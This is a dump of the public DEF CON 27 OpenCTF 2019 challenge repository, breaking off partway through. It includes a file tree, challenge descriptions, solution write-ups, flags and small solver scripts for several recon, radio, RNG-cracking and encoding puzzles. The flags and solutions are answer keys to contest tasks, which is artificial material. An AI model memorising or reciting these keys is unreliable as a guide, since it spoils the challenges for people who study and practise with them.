├── LICENSE.md ├── README.md ├── challenges ├── README.md ├── Recon 1 │ ├── README.md │ ├── SOLUTION.md │ └── flag.txt ├── Recon 2 │ ├── README.md │ ├── SOLUTION.md │ └── flag.txt ├── The Video Killed │ ├── README.md │ ├── SOLUTION.md │ ├── flag.txt │ └── src │ │ ├── FM_Encoder.grc │ │ ├── recording.wav │ │ ├── solution.grc │ │ └── solution.py ├── aaas │ ├── Dockerfile │ ├── README.md │ ├── SOLUTION.md │ ├── dkim1.txt │ ├── flag.txt │ ├── solve.py │ └── src │ │ ├── 1558121717.Vfe01I1b573a2M922672.suzy │ │ └── server.py ├── aliens1 │ ├── README.md │ ├── SOLUTION.md │ ├── dist │ │ └── aliens1a.jpg │ ├── flag.txt │ ├── solve.py │ └── src │ │ ├── aliens1a.xcf │ │ └── base3.py ├── antisat │ ├── README.md │ ├── SOLUTION.md │ ├── dist │ │ └── antisat.exe │ ├── flag.txt │ ├── solve.py │ └── src │ │ ├── Makefile │ │ └── antisat.c ├── asymmetric │ ├── README.md │ ├── SOLUTION.md │ ├── dist │ │ ├── asymmetric_no_flag.py │ │ └── ciphertext.txt │ ├── flag.txt │ ├── reverserepr.py │ ├── solve.py │ └── src │ │ └── asymmetric1.py ├── babies_first_secret_letter │ ├── README.md │ ├── SOLUTION.md │ └── flag.txt ├── babyRSA │ ├── README.md │ ├── SOLUTION.md │ ├── dist │ │ └── babyRSA.tar.gz │ ├── flag.enc │ ├── flag.txt │ ├── public.key │ ├── solve-direct.py │ ├── solve.sage │ └── src │ │ ├── create-flag.sh │ │ ├── create-key.py │ │ └── flag.txt ├── beaspy │ ├── README.md │ ├── SOLUTION.md │ └── flag.txt ├── bible_studies_1 │ ├── README.md │ ├── SOLUTION.md │ └── flag.txt ├── bible_studies_2 │ ├── README.md │ ├── SOLUTION.md │ └── flag.txt ├── blight1 │ ├── README.md │ ├── SOLUTION.md │ ├── blight1.png │ ├── blight1_soln.grc │ ├── blight1_soln.out │ ├── blight1_soln.py │ ├── blight1a_soln.out │ ├── blight2.png │ ├── dist │ │ └── blight1a.bin │ ├── flag.txt │ └── src │ │ ├── blight1.bin │ │ ├── blight1.grc │ │ ├── blight1.py │ │ └── blight1a.py ├── crawl │ ├── Makefile │ ├── README.md │ ├── SOLUTION.md │ ├── dist │ │ └── crawl │ ├── flag.txt │ └── src │ │ └── crawl.go ├── easy1 │ ├── Dockerfile │ ├── README.md │ ├── SOLUTION.md │ ├── easy1.arm │ ├── easy1.exe │ ├── easy1.musl │ ├── easy1_solution.py │ ├── flag.txt │ └── src │ │ ├── Makefile │ │ ├── easy1 │ │ └── easy1.c ├── easy2 │ ├── Dockerfile │ ├── README.md │ ├── SOLUTION.md │ ├── dist │ │ ├── easy2 │ │ ├── ld-linux-x86-64.so.2 │ │ └── ld-musl-x86_64.so.1.dis │ ├── easy2_gadget.asm │ ├── flag.txt │ ├── solve.py │ └── src │ │ ├── Makefile │ │ ├── easy2.arm │ │ ├── easy2.c │ │ ├── easy2.exe │ │ └── flag ├── f71 │ ├── Dockerfile │ ├── Makefile │ ├── README.md │ ├── SOLUTION.md │ ├── encrypt_flag.py │ ├── engi │ ├── engi.c │ ├── f71 │ ├── f71.c │ ├── f71_marco_monte.py │ ├── flag.txt │ ├── solve.py │ └── sww │ │ ├── __init__.py │ │ └── mapmake1.py ├── fire2 │ ├── README.md │ ├── SOLUTION.md │ ├── dist │ │ └── fire2 │ ├── flag.txt │ ├── solve.py │ └── src │ │ ├── fire2.asm │ │ └── fire2flag.py ├── flip-the-script │ ├── .gitignore │ ├── Dockerfile │ ├── README.md │ ├── SOLUTION.md │ ├── flag.txt │ ├── src │ │ ├── client.js │ │ ├── flag.txt │ │ ├── flip-the-script.js │ │ ├── index.html │ │ └── server.js │ └── test_challenge.py ├── gdb-2 │ ├── Dockerfile │ ├── README.md │ ├── SOLUTION.md │ ├── flag.txt │ ├── solve.py │ └── src │ │ ├── gdb2.py │ │ ├── gdb_communiques2.txt │ │ └── gdb_communiques2_req.txt ├── hack_the_planet │ ├── README.md │ ├── SOLUTION.md │ └── flag.txt ├── hacking-around-the-planet │ ├── Dockerfile │ ├── README.md │ ├── SOLUTION.md │ ├── flag.txt │ ├── geoip.go │ ├── hackin_round_the_world │ ├── main.go │ ├── session.go │ └── solution.sh ├── https-cyoa │ ├── Dockerfile │ ├── README.md │ ├── cert.sh │ ├── certkey.pem │ ├── flag.txt │ ├── htdocs │ │ ├── index.html │ │ └── rls.jpg │ ├── httpscyoa.py │ ├── server.crt │ ├── server.csr │ ├── server.pem │ └── test.sh ├── jail-1 │ ├── Dockerfile │ ├── README.md │ ├── SOLUTION.md │ ├── dist │ │ └── wrapper.py │ ├── flag.txt │ ├── solve.sh │ └── src │ │ └── wrapper.py ├── jail-2 │ ├── Dockerfile │ ├── README.md │ ├── SOLUTION.md │ ├── dist │ │ └── wrapper.py │ ├── flag.txt │ ├── solve.sh │ └── src │ │ └── wrapper.py ├── logfilter3000 │ ├── .gitignore │ ├── Dockerfile │ ├── README.md │ ├── SOLUTION.md │ ├── logfilter3000.tar │ ├── requirements.txt │ ├── setup.py │ ├── simple_orm │ │ ├── __init__.py │ │ ├── model.py │ │ ├── storage.py │ │ └── util.py │ ├── solution.py │ ├── tests │ │ ├── model.py │ │ └── sql.py │ └── web │ │ ├── app.py │ │ └── templates │ │ └── index.html ├── m68hc11 │ ├── Dockerfile │ ├── Makefile │ ├── README.md │ ├── SOLUTION.md │ ├── flag.S │ ├── flag.bin │ ├── flag.dis │ ├── flag.solve.S │ ├── flag.solve.bin │ ├── flag.txt │ ├── m68hc11.py │ ├── m68hc11_gen.py │ ├── makemyday │ ├── makemyday.S │ ├── opcodes │ │ ├── __init__.py │ │ └── m68hc11.py │ ├── solve.py │ ├── test1e104 │ └── test1e104.S ├── megahash101 │ ├── Dockerfile │ ├── README.md │ ├── dist │ │ ├── MegaHash.py │ │ └── WebServer.py │ ├── flag.txt │ └── solution │ │ ├── SOLUTION.md │ │ └── solution.py ├── megahash102 │ ├── Dockerfile │ ├── README.md │ ├── dist │ │ ├── MegaHash.py │ │ └── WebServer.py │ ├── flag.txt │ └── solution │ │ ├── RealWebServer.py │ │ ├── SOLUTION.md │ │ └── solution.py ├── megahash201 │ ├── Dockerfile │ ├── README.md │ ├── dist │ │ ├── MegaHash.py │ │ └── WebServer.py │ ├── flag.txt │ └── solution │ │ ├── RealWebServer.py │ │ ├── SOLUTION.md │ │ └── solution.py ├── megahash301 │ ├── Dockerfile │ ├── README.md │ ├── dist │ │ ├── MegaHash.py │ │ ├── WebServer.py │ │ └── sha1.js │ ├── flag.txt │ ├── servercheat │ │ └── EfficientMegaHashN_302_solution.py │ └── solution │ │ ├── EfficientMegaHashN.py │ │ ├── RealWebServer.py │ │ ├── SOLUTION.md │ │ └── solution.py ├── megahash302 │ ├── Dockerfile │ ├── README.md │ ├── dist │ │ ├── MegaHash.py │ │ ├── WebServer.py │ │ └── sha1.js │ ├── flag.txt │ └── solution │ │ ├── EfficientMegaHashN.py │ │ ├── EfficientSelfTest.py │ │ ├── EfficientTools.py │ │ ├── MegaHashAlgorithmsSearcher.py │ │ ├── RealWebServer.py │ │ ├── SOLUTION.md │ │ └── solution.py ├── minishell │ ├── Dockerfile │ ├── README.md │ ├── SOLUTION.md │ ├── dist │ │ └── minishell │ ├── flag │ ├── minishell.sh │ └── src │ │ ├── minishell.c │ │ └── solve.py ├── music │ ├── README.md │ ├── SOLUTION.md │ ├── dist │ │ └── music.flac │ ├── flag.txt │ ├── solve.pl │ └── src │ │ ├── flag.txt.gz │ │ └── make.pl ├── parricide │ ├── Cargo.toml │ ├── Dockerfile │ ├── README.md │ ├── dist │ │ └── parricide │ ├── entrypoint.sh │ ├── flag.txt │ ├── solution │ │ ├── README.md │ │ ├── bash_oneliner │ │ └── ssh_script │ └── src │ │ └── main.rs ├── quineserv │ ├── Dockerfile │ ├── README.md │ ├── SOLUTION.md │ ├── flag.txt │ ├── quine2b_solve.py │ ├── quinef2_solve.py │ └── src │ │ └── quineserv.py ├── quineserv2 │ ├── README.md │ ├── SOLUTION.md │ ├── flag.txt │ └── quinef2_solve.py ├── rev101 │ ├── Makefile │ ├── README.md │ ├── SOLUTION.md │ ├── dist │ │ └── rev101 │ ├── flag.txt │ └── src │ │ └── rev101.c ├── rules │ ├── README.md │ ├── SOLUTION.md │ └── flag.txt ├── rusty │ ├── Dockerfile │ ├── README.md │ ├── SOLUTION.md │ ├── dist │ │ └── rusty.tar.gz │ ├── flag.txt │ ├── solve.py │ └── src │ │ ├── .DS_Store │ │ ├── flag │ │ ├── libc.so │ │ ├── main.rs │ │ └── rusty ├── sanitycheck-hidden │ ├── README.md │ ├── SOLUTION.md │ └── flag.txt ├── sanitycheck │ ├── Dockerfile │ ├── README.md │ ├── SOLUTION.md │ ├── flag.txt │ ├── solve.py │ └── src │ │ ├── banner.txt │ │ ├── challenge │ │ ├── challenge.asm │ │ ├── flag │ │ ├── flag2 │ │ ├── run.py │ │ └── solve-challenge.py ├── sm5 │ ├── Makefile │ ├── README.md │ ├── SOLUTION.md │ ├── bin2asm.py │ ├── bin2asm2.py │ ├── dist │ │ └── dump.bin │ ├── flag.txt │ ├── sm5_66.S │ ├── sm5_66.o │ ├── sm5_66.txt │ ├── sm5_flag.S │ ├── sm5_flag.o │ ├── sm5asm.py │ ├── sm5emu │ ├── sm5emu-javantea.patch │ └── solve4a.txt ├── stylist │ ├── README.md │ ├── SOLUTION.md │ ├── code │ │ ├── config.py │ │ ├── create_yaml.py │ │ ├── generate_stylist.py │ │ ├── solve_stylist.py │ │ └── test_stylist.py │ ├── dist │ │ └── stylist.html │ ├── flag.txt │ └── solve.py ├── super-efficient-key-store │ ├── Dockerfile │ ├── README.md │ ├── SOLUTION.md │ ├── dist │ │ └── main.go │ ├── flag.txt │ ├── postdeploy.sh │ └── src │ │ ├── flag.txt │ │ └── main.go ├── tae │ ├── Dockerfile │ ├── README.md │ ├── SOLUTION.md │ ├── flag.txt │ ├── solve.py │ └── src │ │ ├── main.go │ │ └── taetae.txt ├── tellme │ ├── Makefile │ ├── README.md │ ├── dist │ │ └── tellme │ ├── flag.txt │ ├── solve.py │ └── src │ │ └── tellme.c ├── tellmemore │ ├── Makefile │ ├── README.md │ ├── dist │ │ └── tellmemore │ ├── flag.txt │ └── src │ │ └── tellmemore.c ├── tinyhw0 │ ├── README.md │ ├── SOLUTION.md │ ├── flags.txt │ ├── solved1.jpg │ ├── solved2.jpg │ ├── src │ │ ├── SplitVisualFlag.cs │ │ ├── TestFlag1.bmp │ │ ├── TestFlag2.bmp │ │ ├── TestFlag3.bmp │ │ ├── TestFlag4.bmp │ │ ├── octf-logo-greyscale2.png │ │ ├── octf2019-single.pdf │ │ ├── output1-0.bmp │ │ ├── output1-1.bmp │ │ ├── output1-2.bmp │ │ ├── output1-Crosscheck.bmp │ │ ├── output2-0.bmp │ │ ├── output2-1.bmp │ │ ├── output2-2.bmp │ │ ├── output2-Crosscheck.bmp │ │ ├── output3-0.bmp │ │ ├── output3-1.bmp │ │ ├── output3-2.bmp │ │ ├── output3-Crosscheck.bmp │ │ ├── output4-0.bmp │ │ ├── output4-1.bmp │ │ ├── output4-2.bmp │ │ └── output4-Crosscheck.bmp │ └── unsolved.jpg ├── tinyhw1 │ ├── README.md │ ├── SOLUTION.md │ ├── data │ │ ├── tinyhw123_capture_level_1.sr │ │ └── tinyhw123_capture_level_3.sr │ ├── flag.txt │ └── src │ │ ├── burn.sh │ │ ├── morse.py │ │ ├── solve.py │ │ ├── tinyhw123.ino │ │ └── tinyhw123.ino.hex ├── tinyhw2 │ ├── README.md │ ├── SOLUTION.md │ └── flag.txt ├── tinyhw3 │ ├── README.md │ ├── SOLUTION.md │ └── flag.txt ├── unic0de │ ├── .gitignore │ ├── Dockerfile │ ├── README.md │ ├── SOLUTION.md │ ├── flag.txt │ ├── solve.py │ └── src │ │ ├── server.py │ │ └── unic0de.py └── widevinecdm.so │ ├── Dockerfile │ ├── Makefile │ ├── Makefile.emcc │ ├── README.md │ ├── SOLUTION.md │ ├── binary.wasm │ ├── certkey.pem │ ├── dist │ └── libwidevinecdm.so │ ├── fire3.mp4 │ ├── flag2b.mp4 │ ├── flag2b1.txt │ ├── flag2b1_gen.sh │ ├── flag2b1b_with_flag2.mp4 │ ├── flags.txt │ ├── httpsd.py │ ├── key_info │ ├── provide_the_key.txt │ ├── sq.c │ ├── video.key │ ├── video_cover.mp4 │ └── web │ ├── binary.wasm │ ├── favicon.ico │ ├── final1.png │ ├── index.html │ ├── js │ └── shaka-player.compiled.js │ ├── no_auth │ ├── playlist.m3u8 │ ├── playlist0.ts │ ├── playlist1.ts │ ├── sp │ ├── h2642.mpd │ ├── h264_720p2.mp4 │ └── h264_master2.m3u8 │ ├── video.ogv.jpg │ ├── wasm1.html │ └── wasm2.html └── website-openctf.cat ├── css ├── bootstrap.min.css └── style.css ├── fonts ├── font-awesome │ ├── css │ │ ├── brands.min.css │ │ ├── fontawesome.min.css │ │ └── solid.min.css │ ├── less │ │ ├── _animated.less │ │ ├── _bordered-pulled.less │ │ ├── _core.less │ │ ├── _fixed-width.less │ │ ├── _icons.less │ │ ├── _larger.less │ │ ├── _list.less │ │ ├── _mixins.less │ │ ├── _rotated-flipped.less │ │ ├── _screen-reader.less │ │ ├── _shims.less │ │ ├── _stacked.less │ │ ├── _variables.less │ │ ├── brands.less │ │ ├── fontawesome.less │ │ ├── regular.less │ │ ├── solid.less │ │ └── v4-shims.less │ ├── scss │ │ ├── _animated.scss │ │ ├── _bordered-pulled.scss │ │ ├── _core.scss │ │ ├── _fixed-width.scss │ │ ├── _icons.scss │ │ ├── _larger.scss │ │ ├── _list.scss │ │ ├── _mixins.scss │ │ ├── _rotated-flipped.scss │ │ ├── _screen-reader.scss │ │ ├── _shims.scss │ │ ├── _stacked.scss │ │ ├── _variables.scss │ │ ├── brands.scss │ │ ├── fontawesome.scss │ │ ├── regular.scss │ │ ├── solid.scss │ │ └── v4-shims.scss │ └── webfonts │ │ ├── fa-brands-400.eot │ │ ├── fa-brands-400.svg │ │ ├── fa-brands-400.ttf │ │ ├── fa-brands-400.woff │ │ ├── fa-brands-400.woff2 │ │ ├── fa-regular-400.eot │ │ ├── fa-regular-400.svg │ │ ├── fa-regular-400.ttf │ │ ├── fa-regular-400.woff │ │ ├── fa-regular-400.woff2 │ │ ├── fa-solid-900.eot │ │ ├── fa-solid-900.svg │ │ ├── fa-solid-900.ttf │ │ ├── fa-solid-900.woff │ │ └── fa-solid-900.woff2 └── fonts │ ├── glyphicons-halflings-regular.eot │ └── glyphicons-halflings-regular.svg ├── img ├── 1230741679152alo.jpg ├── IMG_20140427_182042alo.png ├── IMG_20150322_003926alo.png ├── IMG_20180621_164043alo.png ├── Rick_Astley_Never_Gonna_Give_You_Up.mp4 ├── about.jpg ├── data-center-install.jpg └── defcon-octf-design-1.png ├── index.html ├── index.html.ca └── js ├── bootstrap.min.js ├── contact_me.vulnerable.js ├── jquery-3.3.1.min.js ├── main.js ├── main.vulnerable.js └── smooth-scroll.js /LICENSE.md: -------------------------------------------------------------------------------- 1 | # OpenCTF-2019 - License 2 | 3 | Creative Commons License 4 | 5 | This work is licensed under the Creative Commons Attribution-NonCommercial 4.0 International License. To view a copy of this license, visit http://creativecommons.org/licenses/by-nc/4.0/ or send a letter to Creative Commons, PO Box 1866, Mountain View, CA 94042, USA. 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # OpenCTF-2019 2 | 3 | Welcome to the public DEF CON 27 (2019) OpenCTF Repository - Developed, Organized, and Hosted by [Neg9](https://neg9.org/). 4 | 5 | The event was hoted in-person at the annual DEF CON Hacker Convention over Friday/Saturday (2019-08-09 — 2019-08-10) in the contest area. 6 | 7 | * Contest website: https://openctf.cat (Archive: [website-openctf.cat/](website-openctf.cat/)) 8 | * Contest Twitter: [@open_ctf](https://twitter.com/open_ctf) and [@Neg9](https://twitter.com/Neg9) 9 | * DEF CON Forum Contest Thread: https://forum.defcon.org/node/228347 10 | * CTFTime Event Page: https://ctftime.org/event/861 11 | 12 | ## Challenges 13 | 14 | All challenges that were available during the contest are published here under [challenges/](/challenges/), and details about how challenges are structured is described in [challenges/README.md](/challenges/README.md) 15 | 16 | If you find a problem with a challenge in any way, please feel free to create a Github issue here, however there is little expectation of major fixes going forward. 17 | 18 | ## License 19 | 20 | Creative Commons License 21 | 22 | This work, including all challenge material from the event, is licensed under a [Creative Commons Attribution-NonCommercial 4.0 International License](https://creativecommons.org/licenses/by-nc/4.0/) 23 | -------------------------------------------------------------------------------- /challenges/README.md: -------------------------------------------------------------------------------- 1 | # Challenges 2 | 3 | These are the challenges used in the 2019 OpenCTF put on by Neg9 at DEF CON 27. 4 | 5 | ## Challenge Structure 6 | 7 | The source for each challenge is fully contained within its own directory. Each challenge has a common structure, and the top level items of that structure are described below. 8 | 9 | | Item | Description | 10 | | -------------- | ----------- | 11 | | `README.md` | Contains name, category, description, and final point value of the challenge. | 12 | | `flag.txt` | Contains the flag so that anyone wanting to check the flag without finding the solution can do so. | 13 | | `dist\` | Contains the files that were distributed on the scoreboard to players during the event. | 14 | | `src\` | Contains the source for anything used in the challenge that wasn't distributed during the event. | 15 | | `SOLUTION.md` | A natural language write-up of how to solve the challenge. | 16 | | `solution/` / `solution.*` / `solve.*` | (Optional) Directory or single-file with a codified solution to the challenge. Sometimes these are hiding within the structure somewhere. | 17 | | `Dockerfile` | A Dockerfile which will create an image that runs the challenge in the same manner it was deployed during the OpenCTF event. | 18 | -------------------------------------------------------------------------------- /challenges/Recon 1/README.md: -------------------------------------------------------------------------------- 1 | # Recon 1 2 | 3 | *by ColdwaterQ* 4 | 5 | ## Score 6 | 100 7 | 8 | ## Description 9 | On the twentieth day of July an interesting fact was shared at the sibling of Antipodes. Between the subtle shading of green and blue, from the frog to the smurf. 10 | 11 | ## Category 12 | recon -------------------------------------------------------------------------------- /challenges/Recon 1/SOLUTION.md: -------------------------------------------------------------------------------- 1 | This is probably not solveable anymore because the lookback window is not infinite. 2 | 3 | 1. The challenge just says "On the twentieth day of July an interesting fact was shared at the sibling of Antipodes. Between the subtle shading of green and blue, from the frog to the smurf." 4 | 2. Searching for "Between the subtle shading" points you to kryptos which is a sclupture made by Jim Sanborn 5 | 3. Antipodes is a sculpture also made by Jim Snaborn, although there are lots of results for Antipodes 6 | 4. Green and blue, from the frog to the smurf. Is a very obvious reference to Ingress, which if you go to intel.ingress.com you can reed chat messages based on the location 7 | 5. If you zoom in on Kryptos's location and scroll up to July 20 you will find HackthePlanetZmxhZ3tZUVRRVVhRQlFWWVVWTExUUkVWSllRVE1LWVJETUZEVkZQSlVERUVIWldFVFpZVkdXSEtLUUVUR0ZRSk59 8 | You can actually just type "Kryptos" into the intel maps search function. 9 | 6. If you base64 decode ZmxhZ3tZUVRRVVhRQlFWWVVWTExUUkVWSllRVE1LWVJETUZEVkZQSlVERUVIWldFVFpZVkdXSEtLUUVUR0ZRSk59 you get flag{YQTQUXQBQVYUVLLTREVJYQTMKYRDMFDVFPJUDEEHZWETZYVGWHKKQETGFQJN} 10 | -------------------------------------------------------------------------------- /challenges/Recon 1/flag.txt: -------------------------------------------------------------------------------- 1 | flag{YQTQUXQBQVYUVLLTREVJYQTMKYRDMFDVFPJUDEEHZWETZYVGWHKKQETGFQJN} 2 | -------------------------------------------------------------------------------- /challenges/Recon 2/README.md: -------------------------------------------------------------------------------- 1 | # Recon 2 2 | 3 | ## Score 4 | 100 5 | 6 | ## Description 7 | Have a summer cold brew on an island by the ocean with the 1926 PM. But you should check to see if they're open, first. 8 | 9 | ## Category 10 | recon 11 | -------------------------------------------------------------------------------- /challenges/Recon 2/SOLUTION.md: -------------------------------------------------------------------------------- 1 | 1. The prime minister of Canada in the summer of 1926 was Arthur Meighen. 2 | 2. An island in the Arctic Ocean is named after him. 3 | 3. The only amenity OpenStreetMap lists on this island is a fake coffee shop named after the district the island is in. 4 | 1. You can find it with any OSM tool. Overpass works well if you run a search for shop:coffee by placing the island in the viewport and running this query: 5 | ``` 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | ``` 21 | 2. You can also just look in the edit history around there; not much exists 22 | 4. No hours are listed, just a phone number. You have to call +883 (5100) 0990 3277. 23 | 1. +883 is an inum. Call it on something that supports it (not much) 24 | 2. Get a SIP softphone up and call the inum, like +883510009903277@sip.inum.net. You could use a softphone (on windows, microsip, but configure a stun server like stun1.l.google.com:19302) 25 | 5. It will tell you the number is not in service twice, then read the decimal ASCII values for flag{ (words twice), and then the flag, zb4fj+ptk#lcz 26 | -------------------------------------------------------------------------------- /challenges/Recon 2/flag.txt: -------------------------------------------------------------------------------- 1 | flag{zb4fj+ptk#lcz} 2 | -------------------------------------------------------------------------------- /challenges/The Video Killed/README.md: -------------------------------------------------------------------------------- 1 | # The Video Killed 2 | 3 | *by ColdwaterQ* 4 | 5 | ## Score 6 | 100 7 | 8 | ## Description 9 | 10 | I used my hackrf to record the file at 2e6. Have fun downloading at defcon. https://1drv.ms/u/s!AlRm42i0IZ_7hP1TtjcPliJMNvCwfA\nFile host is not the target. 11 | 12 | If that file is no longer listed, you can regenerate it using the src grc and your own hackrf. 13 | 14 | ## Category 15 | Misc 16 | 17 | -------------------------------------------------------------------------------- /challenges/The Video Killed/SOLUTION.md: -------------------------------------------------------------------------------- 1 | 1. Install gnuradio 2 | 2. Run "GNU Radio Command Prompt" if you are on Windows 3 | 3. navigate to the file with solution.py and challenge.bin 4 | 4. run "python solution.py" 5 | 5. You will be tuned into the radio station playing the flag. 6 | 7 | challenge.bin is tuned into 0 on the slider of solution.py so real solvers will have to tune themselves. 8 | 9 | solution.grc is a GNU Radio Companion file if you want to look at that. 10 | 11 | 12 | ## Setup 13 | 14 | If you regenerate solution.py from solution.grc then please modify the file 15 | path to be relative in the .py file. 16 | 17 | If you use the "FM Encoder.grc" the destination file and the source file will 18 | have to be added. This grc is a bit complex because I was using it to experiment, 19 | There are essentiall two programs, a create and a solve, but you can connect the 20 | two to test the sound without generating a file. If you do recreate challenge.bin 21 | please do not loop the source recording, this keeps the file as small as possible. 22 | And please try to have the radio playing something interesting. 23 | -------------------------------------------------------------------------------- /challenges/The Video Killed/flag.txt: -------------------------------------------------------------------------------- 1 | flag{rad10s_r_fun:)} 2 | -------------------------------------------------------------------------------- /challenges/The Video Killed/src/recording.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/The Video Killed/src/recording.wav -------------------------------------------------------------------------------- /challenges/aaas/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.7-alpine 2 | 3 | ENV chdir / 4 | 5 | COPY src/server.py ${chdir} 6 | COPY src/1558121717.Vfe01I1b573a2M922672.suzy ${chdir} 7 | 8 | WORKDIR ${chdir} 9 | 10 | # TCP port 2045 11 | ENTRYPOINT ["python", "./server.py", "-t"] 12 | #ENTRYPOINT ["/bin/sh"] 13 | 14 | EXPOSE 2045 15 | -------------------------------------------------------------------------------- /challenges/aaas/README.md: -------------------------------------------------------------------------------- 1 | # AAAS 2 | 3 | *by Javantea* 4 | May 18, 2019 5 | 6 | Score: 7 | 100 8 | 9 | Description: 10 | Give me an e-mail address, I seed random with it. Use that to force a value. We send them an e-mail so that it has some story/value. We could make it seem like spam, but I like AAAS. 11 | 12 | Category: misc 13 | 14 | Random seeds are not very interesting, but maybe we can make this more compelling. 15 | 16 | Why TCP? TCP handshake solves the spoof amplification DoS problem. Because the body is long and SMTP is over TCP for now. I wanted to make this an SMTP client, but I realized that I'd have to reverse. That's still an option. 17 | 18 | https://tools.ietf.org/html/rfc2045 19 | 20 | Solution is solve.py. Read it if you want to understand what's going on. 21 | 22 | 23 | TODO: Improve the challenge. 24 | 25 | -------------------------------------------------------------------------------- /challenges/aaas/SOLUTION.md: -------------------------------------------------------------------------------- 1 | # AAAS Solution 2 | 3 | *by Javantea* 4 | May 18, 2019 and June 9, 2019 5 | 6 | This challenge is a simple straightforward RNG cracking exercise. It's slow on the user side, fast on the challenge side. 7 | 8 | This challenge requires you to realize that the program uses your e-mail address unsalted as a seed for a rng. Then you have to realize that the number given is the first output of the rng. Then you have to crack an input that will give an output of 987654321. It's parallel, so you can run as many processes as you have cores. It doesn't take long because it's random.seed(s) random.randint(0, 0xffffffff) which you can learn from the values it returns to you and guessing. What you might not guess is that it's not the first output that it's checking to give you the flag, it's the second value. So once you're done cracking, you have to crack a second time. 9 | 10 | ``` 11 | python3 solve.py 2 & 12 | python3 solve.py 3 & 13 | python3 solve.py 4 & 14 | python3 solve.py 5 & 15 | python3 solve.py ein & 16 | python3 solve.py sechs & 17 | python3 solve.py elf & 18 | python3 solve.py zwolf & 19 | python3 solve.py gally & 20 | wait 21 | 22 | ``` 23 | -------------------------------------------------------------------------------- /challenges/aaas/dkim1.txt: -------------------------------------------------------------------------------- 1 | dig txt 200608._domainkey.aaas.sciencepubs.org 2 | 3 | ; <<>> DiG 9.12.3-P4 <<>> txt 200608._domainkey.aaas.sciencepubs.org 4 | ;; global options: +cmd 5 | ;; Got answer: 6 | ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26244 7 | ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 8 | 9 | ;; QUESTION SECTION: 10 | ;200608._domainkey.aaas.sciencepubs.org. IN TXT 11 | 12 | ;; ANSWER SECTION: 13 | 200608._domainkey.aaas.sciencepubs.org. 900 IN TXT "k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDGoQCNwAQdJBy23MrShs1EuHqK/dtDC33QrTqgWd9CJmtM3CK2ZiTYugkhcxnkEtGbzg+IJqcDRNkZHyoRezTf6QbinBB2dbyANEuwKI5DVRBFowQOj9zvM3IvxAEboMlb0szUjAoML94HOkKuGuCkdZ1gbVEi3GcVwrIQphal1QIDAQAB" 14 | 15 | ;; Query time: 79 msec 16 | ;; SERVER: 192.168.88.1#53(192.168.88.1) 17 | ;; WHEN: Sat May 18 18:30:24 PDT 2019 18 | ;; MSG SIZE rcvd: 294 19 | 20 | -------------------------------------------------------------------------------- /challenges/aaas/flag.txt: -------------------------------------------------------------------------------- 1 | flag{paul graham ab3636b6f075dfea9c1d5619fb64005e0a1d5} 2 | -------------------------------------------------------------------------------- /challenges/aliens1/README.md: -------------------------------------------------------------------------------- 1 | # Aliens 1 2 | *by Javantea* 3 | *Dec 20, 2017 - July 20, 2019* 4 | 5 | Score: 6 | 100 7 | 8 | Description: 9 | Based on a very good challenge sent to NASA in the '00s, this challenge shows that communicating with extraterrestrials is not as simple as just listening to them talk in English. 10 | 11 | https://www.altsci.com/concepts/base-n-math-without-zero 12 | 13 | Category: misc 14 | 15 | Build: 16 | * python3 src/base3.py 17 | * gimp src/aliens1.xcf 18 | * paste the pipes into a text layer Droid Sans Bold or whatever. 19 | * Convert the text layer to a raster layer. 20 | * Gaussian Blur. 21 | * Hurl 1% random seed. 22 | * Export as jpg with comment: https://tenor.com/view/aliens-weird-hair-gif-10744300 23 | 24 | Notes: 25 | 26 | Yes, this is pretty difficult. Remember tractor feed? I want them to write an OCR for pipes. 27 | 28 | -------------------------------------------------------------------------------- /challenges/aliens1/dist/aliens1a.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/aliens1/dist/aliens1a.jpg -------------------------------------------------------------------------------- /challenges/aliens1/flag.txt: -------------------------------------------------------------------------------- 1 | flag{be_688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09} 2 | -------------------------------------------------------------------------------- /challenges/aliens1/src/aliens1a.xcf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/aliens1/src/aliens1a.xcf -------------------------------------------------------------------------------- /challenges/aliens1/src/base3.py: -------------------------------------------------------------------------------- 1 | """ 2 | base 3 3 | by Javantea 4 | Dec 20, 2017 5 | 6 | echo |sha512sum 7 | be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09 - 8 | 9 | """ 10 | 11 | import binascii 12 | 13 | flag = 'flag{be_688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09}' 14 | flag_int = int(binascii.hexlify(flag.encode('utf-8')).decode('ascii'), 16) 15 | 16 | # Then convert this to base 3. 17 | # Then draw it onto a piece of paper. 18 | # Then fax and that is your challenge. 19 | 20 | def base3(value): 21 | x = value 22 | output = '' 23 | while x > 0: 24 | r = str(x % 3) 25 | output = r + output 26 | x //= 3 27 | #loop 28 | return output 29 | 30 | flag_base3 = base3(flag_int) 31 | 32 | # Encode in the creepy tick encoding 33 | def tick_encoder(value): 34 | return value.replace('0', '| ').replace('1', '|| ').replace('2', '||| ') 35 | 36 | flag_base3_tick = tick_encoder(flag_base3) 37 | 38 | print(flag_base3_tick) 39 | -------------------------------------------------------------------------------- /challenges/antisat/README.md: -------------------------------------------------------------------------------- 1 | # antisat.exe 2 | *by Javantea* 3 | 4 | Original Idea: May 24, 2016 5 | 6 | Score: 7 | 97 8 | 9 | Solution: solve.py 10 | 11 | Description: A simple sat solve problem. Or you could just use python. 12 | 13 